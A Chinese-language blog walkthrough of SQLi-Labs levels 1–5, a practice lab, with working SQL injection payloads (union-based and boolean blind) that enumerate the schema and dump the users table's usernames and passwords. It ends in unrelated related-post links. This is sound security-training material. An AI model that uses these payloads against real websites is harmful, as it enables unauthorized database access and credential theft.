@


sqli。开启新坑。

前言

对于新手,为了更加直观的看到 sql 注入语句,可以在以下文件添加两句:

echo $sql;		# 将构造的 sql 语句进行输出
echo "<br>"; # 换行输出

这样就可以在页面实时看到 sql 语句,便于理解。

题解中,只第一题添加了此语句。

索引

  • Less-1:回显注入,字符型【'】,起点。
  • Less-2:回显注入,数字型。
  • Less-3:回显注入,字符型【')】。
  • Less-4:回显注入,字符型【")】。
  • Less-5:布尔盲注,字符型【'】。

Less-1

题解

跟着其他师傅的解答尝试了一下,大致思路如下。

打开页面,可以通过 url 传递 id 来获取对应用户信息。那么目标便是通过注入来获取所有用户信息

先传递两个不同 id 值看看。得到了不同结果。

url + ?id=1
url + ?id=2

这里由于让 sql 语句回显到了页面,所以比较明显。但真实情况下无法看到 sql 语句。

所以接下来的思路是要判断 sql 查询是按字符串类型查询还是按数值类型查询。

url + ?id=2'

url + ?id=2' --+

可以看到有回显,说明是字符串查询。

这里 “ --+ ” 可以理解为解析成了 mysql 的注释语句 “ -- ”。

除此以外也可使用 “ # ” 来注释,由于 url 转码所以可写为 “ %23 ”。

根据结果指定是字符型且存在 sql 注入漏洞后,因为该页面存在回显,所以可以使用联合查询。

对于联合查询,就是把多次查询的结果合并起来,形成一个新的查询结果集。查询列数要相等。

要使用联合查询,先来判断这张表有多少个字段(多少列)

可使用 order by 判断表有几列,如果报错就是超过列数。

url + ?id=2' order by 1 --+
url + ?id=2' order by 2 --+
url + ?id=2' order by 3 --+

url + ?id=2' order by 4 --+

可以看到报错了

说明该表有 3 个字段。

然后看看该表哪两个列作为返回的页面显示。

使用联合查询,判断哪两列显示:

url + ?id=2' union select 1,2,3 --+

并没有返回有用信息。

把 id 改为一个不存在的值试试,

url + ?id=-2' union select 1,2,3 --+

可以看到页面显示的是 2、3 列数据。

可以根据 mysql 数据库的一些函数来获取当前数据库名和版本号。

database():返回 mysql 命令行当前所在的数据库。

version():获取 MySQL 版本号

url + ?id=-2' union select 1, database(), version() --+

可以看到当前数据库名称为 security ,数据库版本为 5.7.26。

下一步,想办法查看 security 数据库里的所有表(爆表)。这里要用到 MySQL 自带的一些特殊数据库。

information_schema 数据库是在mysql的版本5.0之后产生的一个虚拟数据库,物理上并不存在。提供了访问数据库元数据的方式,比如数据库名或表名,列类型,访问权限等。

information_schema.tables:获取所有数据库。

table_schema:数据库的名称。

table_name:具体的表名称。

group_concat()函数:将括号里对应的字符串进行连接。

于是乎:

url + ?id=-2' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat() 函数用于将查到的多个表名连接起来,不然只会显示一个表。

可以看到 security 数据库有四个表:emails、referers、uagents、users。

猜测用户的账户和密码可能是在users表中。

information_schema.columns:每一个表中的每一个字段都会在此表中对应一行。

于是:

url + ?id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

可以看到两个敏感字段:username,password。

联合查询 username,password 两个字段,在 username 和 password 之间加个 id 作为分割,比较容易看:

url + ?id=-2' union select 1,2,group_concat(username, id, password) from users --+

第一关完成!

原理

要对数据库的语法有基本了解。这个就不多说了。

通过 GET 方法,使用 url 拼接进行数据传递时,“ --+ ” 可以理解为解析成了 mysql 的注释语句 “ -- ”。

也可使用 “ # ” 来注释,由于 url 转码所以要写为 “ %23 ”。

这样就能把拼接后的语句注释,以此添加一些语句来获得信息分析。

order by 可用数字来代表字段索引,1 就是第一个字段,以此类推。因此可用来判断判断表有几列。

数据库的一些函数与自带的表: database()、information_schema 数据库、group_concat() 函数等。

Less-2

了解了第一关的原理与思路后,接下来这题就不难了。

题解

url + ?id=1' --+

当输入单引号或者双引号可以看到报错,且报错信息看不到数字,猜测 sql 语句应该是数字型注入。

说明不是字符型,可能为数字型。

url + ?id=1 --+

那接下来的思路就和 Less-1 的一样了。

判断表有几个字段后,看显示位:

url + ?id=-1 union select 1,2,3 --+

查看当前表名:

url + ?id=-1 union select 1, 2, database() --+

爆表:

url + ?id=-1 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1 union select 1, 2, group_concat(username, id, password) from users --+

思路与 Less-1 无异。

Less-3

依旧与 Less-1 一样。

题解

url + ?id=1'

看报错信息,推断 sql 语句是单引号字符型且有括号。

需要考虑闭合括号。

url + ?id=1') --+

接下来就照搬 Less-1 思路。

判断表有几个字段后,看显示位:

url + ?id=-1') union select 1,2,3 --+

看表名:

url + ?id=-1') union select 1, 2, database() --+

爆表:

url + ?id=-1') union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1') union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1') union select 1, 2, group_concat(username, id, password) from users --+

得手。

Less-4

依旧与 Less-1 一样。

题解

url + ?id=1"

url + ?id=1") --+

判断表有几个字段后,看显示位:

url + ?id=-1") union select 1,2,3 --+

看表名:

url + ?id=-1") union select 1, 2, database() --+

爆表:

url + ?id=-1") union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1") union select 1, 2, group_concat(username, id, password) from users --+

完成。

Less-5

题解

url + ?id=1
url + ?id=2

url + ?id=-1
url + ?id=10086

通过上面几个测试,发现页面不回显数据库信息,但对错误和正确有显示。

url + ?id=1'

url + ?id=1' --+

再通过以上测试可知是字符型注入。

由于只对结果真伪进行回显,使用布尔盲注。

判断当前数据库长度,需要一个一个尝试,这里判断出数据库名长度为 8(页面有回显说明结果为真)。

url + ?id=1 'and length((select database()))=8 --+

通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。

url + ?id=1' and ascii(substr((select database()), 1, 1))=115 --+

ASCII 码 115 对应字母为 s。

同理,以下判断都有回显:

url + ?id=1' and ascii(substr((select database()), 2, 1))=101 --+
url + ?id=1' and ascii(substr((select database()), 3, 1))=99 --+
url + ?id=1' and ascii(substr((select database()), 4, 1))=117 --+
url + ?id=1' and ascii(substr((select database()), 5, 1))=114 --+
url + ?id=1' and ascii(substr((select database()), 6, 1))=105 --+
url + ?id=1' and ascii(substr((select database()), 7, 1))=116 --+
url + ?id=1' and ascii(substr((select database()), 8, 1))=121 --+

因此可得到数据库名称为 “ security ”。

接下来,以同样的原理来爆表

先判断所有表名字符长度。

url + ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+

url + ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29 --+

通过回显判断出表名字符长度为 29。

然后逐一判断表名。

url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=101--+
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
...
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),29,1))>=115--+

可得表名字符为:emails,referers,uagents,users

继续猜测数据保存在 users 表中(其实是早已知晓 = ̄ω ̄= )

继续用同样的原理来爆字段

判断字符长:

url + ?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+

可得长度为 20。

逐一判断字段名。

url + ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
...
url + ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),20,1))>=100 --+

由此得到 users 表中字段为

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

获取username和password

判断字符长度:

url + ?id=1' and length((select group_concat(username,password) from users))>=188 --+

然后依次判断每一个字符即可。最终结果与之前 4 个题相同。

url + ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+

总结

布尔盲注,用 length() 函数判断字符串长度,然后用 substr() 截取字符串,用 ascii() 一个一个判断字符。

原理

布尔盲注。主要用到以下三个 MySQL 函数。

  • length() 函数:返回字符串所占的字节数。
  • ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
  • substr() 函数:字符串截取函数。

布尔盲注需要一个一个判断字符。对于联合注入来说需要花费大量时间。


逢人不说人间事,便是人间无事人。

——《赠质上人》(唐)杜荀鹤

《SQLi-Labs》01. Less 1~5的更多相关文章

  1. 20145218 《Java程序设计》第01次实验报告

    北京电子科技学院(BESTI)实验报告 课程:Java程序设计 班级:1452 指导教师:娄嘉鹏 实验日期:2016.04.08 实验名称:Java开发环境的熟悉(Linux + Eclipse) 实 ...

  2. 《Pro AngularJS》学习小结-01

    <Pro AngularJS>该书以一个SportsStore案例为主线铺开. 一.开发环境设置 该书中所用的数据库data server开发环境是Deployed,从来没听说过,而且作者 ...

  3. 《Software Design中文版01》

    <Software Design中文版01> 基本信息 作者: (日)技术评论社 译者: 苏祎 出版社:人民邮电出版社 ISBN:9787115347053 上架时间:2014-3-18 ...

  4. 2017《Java技术》预备作业01

    2017<Java技术>预备作业 1.学习使用MarkDown 本学期的随笔都将使用MarkDown格式,要求熟练掌握MarkDown语法,学会如何使用标题,插入超链接,列表,插入图片,插 ...

  5. 20145219 《Java程序设计》第01周学习总结

    20145219 <Java程序设计>第01周学习总结 教材学习内容总结 软件分类:系统软件(DOS.Windows.Linux等).应用软件(扫雷.QQ等) 人机交互方式:图形化界面.命 ...

  6. 2015.05.15,外语,学习笔记-《Word Power Made Easy》 01 “如何讨论人格特点”

    2015.03.17,外语,读书笔记-<Word Power Made Easy> 01 “如何讨论人格特点”学习笔记 SESSIONS 1 本来这些章节都是在一两年前学习的,现在趁给友人 ...

  7. 《编译原理》构造与正规式 (0|1)*01 等价的 DFA - 例题解析

    <编译原理>构造与正规式 (0|1)*01 等价的 DFA - 例题解析 解题步骤: NFA 状态转换图 子集法 DFA 的状态转换矩阵 DFA 的状态转图 解: 已给正规式:(0|1)* ...

  8. 《HelloGitHub月刊》第01期

    <HelloGitHub月刊> 因为现在这个项目只有我自己做,只敢叫"月刊",希望有志同道合者,快点加入到这个项目中来!同时,如果您有更好的建议或者意见,欢迎联系我.联 ...

  9. 《MySQL必知必会》[01] 基本查询

    <MySQL必知必会>(点击查看详情) 1.写在前面的话 这本书是一本MySQL的经典入门书籍,小小的一本,也受到众多网友推荐.之前自己学习的时候是啃的清华大学出版社的计算机系列教材< ...

  10. 《HelloGitHub月刊》第 01 期

    <HelloGitHub月刊> 因为现在这个项目只有我自己做,只敢叫"月刊",希望有志同道合者,快点加入到这个项目中来!同时,如果您有更好的建议或者意见,欢迎联系我.联 ...

随机推荐

  1. django之drf(部分讲解)

    序列化类常用字段和字段参数 drf在Django字段类型的基础上派生了自己的字段类型以及字段参数 序列化器的字段类型用于处理原始值和内部数据类型直接的转换 还可以用于验证输入.以及父对象检索和设置值 ...

  2. Linux,会这些就够了

    在测试当中,其实对Linux的要求不高,我们在工作中需要记住常用的一些命令,不常用的实际用到的时候再查在记即可,最重要我们要使用命令可以查看日志,定位bug   目录篇: 可用  pwd  命令查看用 ...

  3. Python相关镜像

    Python相关镜像 (1) pip使用说明 对于Python开发用户来讲,我们会经常使用pip安装软件包.但国外的源下载速度实在太慢,浪费时间且经常出现下载后安装出错问题.所以把PIP安装源替换成国 ...

  4. SQL后半部和JDBC

    SQL后半部 排序order by asc 升序desc 降序select *from 表名 order by 列名 asc ; select *from 表名 order by 列名 asc , 列 ...

  5. Linux服务器设置虚拟内存

    cd /usrsudo mkdir swapcd swapsudo dd if=/dev/zero of=/usr/swap/swapfile bs=1M count=4096du -sh /usr/ ...

  6. ChatGLM 拉取清华git项目

    windows使用nvdia显卡运行ChatGLM 1. 安装nvidia显卡驱动 https://developer.nvidia.com/cuda-11-8-0-download-archive? ...

  7. 文件系统考古2:1984 - BSD Fast Filing System

    今天继续与大家分享系列文章<50 years in filesystems>,由 KRISTIAN KÖHNTOPP 撰写. 我们将进入文件系统的第二个十年,即1984年,计算机由微型计算 ...

  8. 2023-06-08:给你一棵二叉树的根节点 root ,返回树的 最大宽度 。 树的 最大宽度 是所有层中最大的 宽度 。 每一层的 宽度 被定义为该层最左和最右的非空节点(即,两个端点)之间的长度

    2023-06-08:给你一棵二叉树的根节点 root ,返回树的 最大宽度 . 树的 最大宽度 是所有层中最大的 宽度 . 每一层的 宽度 被定义为该层最左和最右的非空节点(即,两个端点)之间的长度 ...

  9. 深入分析:恒虚警率检测算法之Switch-CFAR

    转发和使用请注明来源,以下为本人精心整理,还请尊重本人劳动成果与产权!由于本人现有知识和能力有限,如存在错误之处请指正!下面为正文内容: 1.S-CFAR检测算法(Switching,开关CFAR) ...

  10. Kotlin协程-那些理不清乱不明的关系

    Kotlin的协程自推出以来,受到了越来越多Android开发者的追捧.另一方面由于它庞大的API,也将相当一部分开发者拒之门外.本篇试图从协程的几个重要概念入手,在复杂API中还原出它本来的面目,以 ...